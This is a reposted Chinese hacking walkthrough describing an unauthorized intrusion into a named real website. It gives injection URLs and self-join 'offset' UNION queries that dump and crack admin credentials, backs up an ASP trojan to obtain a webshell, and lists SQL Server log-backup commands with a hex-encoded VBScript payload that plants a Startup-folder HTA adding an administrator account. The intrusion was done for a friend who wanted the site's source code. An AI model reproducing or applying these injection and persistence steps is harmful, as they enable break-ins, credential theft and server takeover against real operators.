首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
巧妙利用表自联偏移注入ACC数据库拿webshell
来源:www.eviloctal.com 作者:eviloctal 发布时间:2009-08-24  
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
今天下午一朋友丢来一个网站说喜欢这个网站的源码,看能不能拿下,拿下以后说请我去腐败腐败。既然他都开口了,嘿嘿 我还正愁没机会狠狠的蹭他几下,谁知道他自己找上门来了,不蹭白不蹭。先打开主站,用的是个通用防注入系统,过滤的很严格,对get跟post都进行了严格的参数过滤,转换编码格式也没能绕过注入系统,cookie注入也没能成功。后台也不能登陆,看来只能用旁注了。(如果有哪位大牛能突破这个通用防注入系统的话,不防发出来大家共享一下。)又拿出AK48,推荐一下这个工具,觉得比旁注王要好用一点,先有AK48扫射,立即就扫出了不少网站。大概有十多个吧,一查IP地址发现是上海IDC机房的,估计八成是虚拟主机了,汗!!!!!!!!!想到虚拟主机现在都有点怕了,虚拟主机提权难呀,就算你旁注到了webshell,别说提权服务器就算是夸站也是比较困难。不管了还是先拿webshell子再说吧,网站虽然有十多个,但大多不能注入,现在的网站动不动就挂了通用防注入系统上去,就像现在电脑动不动就装个360打补丁一样,轻而易举的就把漏洞给补上了,呵呵 看来现在的网民的安全意思都提高了。将近花了40分钟的时间去找注入点,结果只发现了2个网站有注入漏洞,其中还有一个虽然有注入点,但是找不到后台直接放弃了,最后只剩下一个网站希望最大了,注入也有,后台也找出来了,直接丢进啊D里面去跑跑,跑出了4个表,其中管理员表admin只跑出了一个ID字段,用户名字跟密码字段都跑出来。换个明小子跟NBSI pang龙 都试过了,只能跑出admin表 却跑不出字段来了。如图(1)

工具跑不出来了,那只好手工试试,有时候手工比攻击要有效的多,先初步的分析了下,虽然我们找不到字段,但是如果这个注入点可以试用联合查询的话,说不定,不需要知道字段名字也可以把用户跟密码爆出来。先测试看能不能union
http://tapesales.net/ProductShow.asp?ID=95 order by 1(从1一直增加直到返回错误为止)当增加到29返回正常而30却返回错误,就证明当前表的字段为29个。
构造联合查询语句试下看能不能用
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from admin  返回如下图(2 )

看来联合查询可以用,嘿嘿,只要能联就不怕爆不出他的密码来。第二步我们还需要知道表admin的字段数,构造语句
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,* from admin(返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,.....n-1,n,* from admin(替增n的值,知道返回正确)当n=15的时候返回正确了,说明admin表有29-15=14个字段,知道了表admin的字段了,那我们先试着盲爆试试看,如果运气好的话可以直接爆出来。继续爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin 返回如图(3)

狂晕!!!这么多都没爆出一个来,看来今天手气是很不咋滴,连用户名字都没爆出来来。只爆出来了访问者的IP地址图三左下脚,要是我们知道管理员的用户字段跟密码字段就好了,直接替换2,3,5,9,15 随便替换一个就可以爆出来,关键是现在猜不出管理员的字段。看来得仔细分析分析了。
老规矩先点跟烟清理思路。。。。。。。。。。。
如果我们知道admin的字段数多的话,我们可以使用偏移注入,但是目前我们只知道一个字段ID字段,偏也偏不出来了呀?再分析一下字段数,当前的字段为29个,而我们的admin表有14个字段,而恰好我们也已知了一个ID字段,14*2+1=29 哈哈 恰好满足自联呀,自联就是根据on语句后面的条件把自己联合一下,字段数会增加一倍。。。。等等等等。。。。。。。。。。。貌似这样解释有点不对,为了不误导新人,觉得还是有必要解释一下,
比如有一个表A结构如下
id  name  pass  字段
1    abc   123
2    efg   456
3     hij   789
自联
select * from (admin as a inner join admin as b on a.id=b.id)
(其中a.id=b.id就是自联条件),将返回以下结果
a.id a.name a.pass b.id b.name b.pass
1     abc    123    1    abc    123
2     efg    456    2    efg    456
3     hij    789    3    hij    789
我们看原来一个A表用有3个字段,通过自联后,我们发现他有了6个字段,也就是说字段加倍了。汗!!1!! 扯远了 回到主题。通过上面的分析,我们可以自联admin表,admin表是14个字段,自联后也就是2*14=28个字段,然后我们在随便加一个字段凑数就变成了29个字段,打乱admin表中的字段的排列顺序,然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用a.id,跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)  如图(4)

嘿嘿 密码已经给爆出来了3bbffb13d93c6bbf,先去MD5,解密吧,得到密码bbs1234.接着爆用户名字,我们只要偏移一下空间联合查询的的顺序就行了。
那就偏吧。。。。。。。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,* from (admin as a inner join admin as b on a.id=b.id) 如图(5) )

竟然没偏出来了,出乎我的意料了!!!!! 我再偏。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
如图(6)



嘿嘿这下它藏不住了吧,乖乖的爆了出来 love123456 ,用户名字跟密码都有了登陆后台,后台有数据库备份功能,但是不能自定义备份后缀名字。我们可以通过抓包,然后修改post内容自定义路径跟备份格式,备份出ASP格式的木马, 如图(7),
也貌似有还有上传漏洞。成功备份出小马,小马生大马,得到一个webshel如图(8)

情况也就这么个情况,提权很困哪呀
Scripting.FileSystemObject √ 文件操作组件
wscript.shell × 命令行执行组件
ADOX.Catalog √ ACCESS建库组件
JRO.JetEngine √ ACCESS压缩组件
Scripting.Dictionary √ 数据流上传辅助组件
Adodb.connection √ 数据库连接组件
Adodb.Stream √ 数据流上传组件
SoftArtisans.FileUp × SA-FileUp 文件上传组件
LyfUpload.UploadFile × 刘云峰文件上传组件
Persits.Upload.1 √ ASPUpload 文件上传组件
JMail.SmtpMail √ JMail 邮件收发组件
CDONTS.NewMail × 虚拟SMTP发信组件
SmtpMail.SmtpMail.1 × SmtpMail发信组件
Microsoft.XMLHTTP √ 数据传输组件
PHP .net  服务器上虽然安装了,但是这个网站并不支持php跟.net。命令行也不能使用,开放端口 80 21 1433 3306,3389,FTP用的是server_u,但是管理员修改了密码,安装路劲也没权限浏览,也不能夸站浏览,出了能控制shell目录,其他目录都不能控制,哎 看来此路不通了,是时候放弃了
正准备要放弃的时候突然发现一个新的情况,再网站目录下面找到一个数据库连接文件,里面有数据库信息,嘎嘎,善良的人们总是在绝望的时候会得到老天爷的帮助。
有了数据库事情就办多了,先用数据库连接再说。看看是什么权限,public权限就可以列目录了,要是有DB权限的话,嘿嘿,夸站绰绰有余啊,提权服务器都是有可能的。用SQL 连接查询器连接数据库。果然是DB权限,DB权限的话可以试着备份到启动项试试 (经过我多次测试,备份日志文件被直接备份数据库成功率至少要高一半)
在查询分析器里面输入如下语句
DUMP  TRANSACTION  sq_love  WITH  NO_LOG--
alter database sq_love set RECOVERY FULL--
create table hwz (a image)--
backup log sq_love to disk = 'c:\windows\temp\temp.bak' with init--
insert into hwz (a) values
(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A53657420206F3D4372656174654F626A6563742820225368656C6C2E55736572732220290D0A536574207A3D6F2E63
7265617465282268777A333130313422290D0A7A2E6368616E676550617373776F72642022313233343536222C22220D0A7A2E73657474696E6728224163636F756E745479706522293D330D0A776
96E646F772E636C6F73650D0A3C2F7363726970743E)--
backup log sq_love to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\run.hta'--
drop table hwz
要一条一条的的放在查询分析器中执行。执行完毕以后就会在启动项里生产一个run.hta的html应用程序,可以直接运行的,运行以后会添加一个用户名字为hwz31014密码为123456的管理员。DUMP  TRANSACTION  sq_love  WITH  NO_LOG-- 其中这一条是删除日志文件,经过多次测试发现,如果不清除日志,备份出来的hta文件很有可能运行不成功,使用最好先清除一下日志‘其他的就不多介绍了,大家应该都很熟悉了
好了我们执行,然后用webshell查看是否备份成功如图(9)

为了保险起见我们把这个文件下载到本地测试运行一下
C:\Program Files\MySQL\MySQL Server 5.1\bin>net user
\\ 的用户帐户
-----------------------------------------------------------------------
Administrator            ASPNET                   Guest
HelpAssistant            hwz31014                 IUSR_98A8AEEC54F641D
IWAM_98A8AEEC54F641D     SUPPORT_388945a0
命令运行完毕,但发生一个或多个错误。
成功添加管理员用户,看来我们的备份是成功的,下一部就只等管理员重启服务器我们就可以得到系统权限了,即使得不系统权限我们也不怕,至少能夸服务器所有的网站,
拿份源代码应该问题不大了,既然已经是瓮中之鳖了那就先收工吧! 等明天管理员重启服务器,我再去收网,

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·eshop2.5版本安全测试
·Windows系统密码破解全攻略
·武汉IT培训机构网站安全报告
·some shit tips
·新型万能登陆密码
·ECShop_V2.6.2后台获取webshell
·discuz 6.1 版主拿shell?
·一次Resin服务器测试实例
·黑客渗透linux下载备份取shell
·oracle注入某市交通局
·Developing A PHP Core Backdoor
·巧妙利用表自联偏移注入ACC数据
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved